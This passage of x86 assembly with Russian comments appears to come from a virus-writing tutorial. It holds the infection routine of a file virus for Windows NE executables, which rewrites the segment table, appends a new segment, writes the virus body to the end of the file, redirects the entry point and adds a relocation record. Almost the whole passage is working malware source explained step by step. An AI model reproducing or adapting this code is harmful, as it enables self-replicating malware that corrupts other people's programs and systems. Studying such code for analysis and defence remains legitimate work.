dec cx
shl cx,3
push cx
mov ah,3Fh
int 21h
;Переместим указатель чтения/записи назад, к позиции
;за 8 байт перед началом таблицы сегментов
pop dx
push dx
add dx,8
neg dx
mov cx,–1
mov ax,4201h
int 21h
;Запишем таблицу сегментов в файл, но не на ее прежнее место,
;а на 8 байт ближе к началу файла
mov dx,OFFSET temp
pop cx
mov ah,40h
int 21h
;Прочтем текущую позицию чтения/записи (конец таблицы сегментов)
xor cx,cx
xor dx,dx
mov ax,4201h
int 21h
;Сохраним в стеке текущую позицию чтения/записи
push dx
push ax
;Получим длину файла, переместив указатель
;чтения/записи в конец файла
xor cx,cx
xor dx,dx
mov ax,4202h
int 21h
;Сохраним в стеке длину файла
push dx
push ax
;Вычислим и сохраним длину логического сектора
mov cx,WORD PTR [new_hdr+32h]
mov ax,1
shl ax,cl
mov [log_sec_len],ax
;Вычислим длину файла в логических секторах
mov cx,ax
pop ax
pop dx
div cx
;Учтем неполный сектор. Если в результате получился
;остаток, увеличим количество секторов
or dx,dx
jz no_rmd
inc ax
no_rmd:
;Заполним поля нового элемента в таблице сегментов
mov [my_seg_entry],ax
mov [my_seg_entry+2],OFFSET vir_end
mov [my_seg_entry+4],180h
mov [my_seg_entry+6],OFFSET vir_end
;Восстановим из стека позицию в файле конца таблицы секторов
pop dx
pop cx
;Переместим указатель чтения/записи к этой позиции
mov ax,4200h
int 21h
;Запишем в конец таблицы новый элемент
mov dx,OFFSET my_seg_entry
mov cx,8
mov ah,40h
int 21h
;Скопируем тело вируса в область памяти, которую выделили
;в начале программы, для изменений в нем. В защищенном режиме
;(а работаем именно в нем), нельзя производить запись в сегмент
;кода. Если по какой−то причине нужно произвести изменение
;в сегменте кода, создается алиасный дескриптор данных
;(дескриптор, содержащий то же смещение и длину,
;что и сегмент кода), и дальнейшая работа ведется с ним.
;В данном случае просто воспользуемся выделенным блоком памяти
push ds
pop es
push cs
pop ds
xor si,si
mov di,OFFSET temp
mov cx,OFFSET vir_end
cld
rep movsb
push es
pop ds
;Инициализируем адрес точки входа
mov si,OFFSET temp
mov WORD PTR [si+relocIP],0
mov WORD PTR [si+relocCS],0FFFFh
;Переместим указатель чтения/записи на новую точку входа
mov ax,[my_seg_entry]
mov cx,[log_sec_len]
mul cx
mov cx,dx
mov dx,ax
mov ax,4200h
int 21h
;Запишем тело вируса в файл
mov dx,OFFSET temp
mov cx,OFFSET vir_end
mov ah,40h
int 21h
;Инициализируем поля перемещаемого элемента
mov WORD PTR [reloc_data],1
mov BYTE PTR [reloc_data+2],3
mov BYTE PTR [reloc_data+3],4
mov WORD PTR [reloc_data+4],OFFSET relocIP
;Запишем перемещаемый элемент
mov dx,OFFSET reloc_data
mov cx,10
mov ah,40h
int 21h
;Закроем файл
mov ah,3Eh
int 21h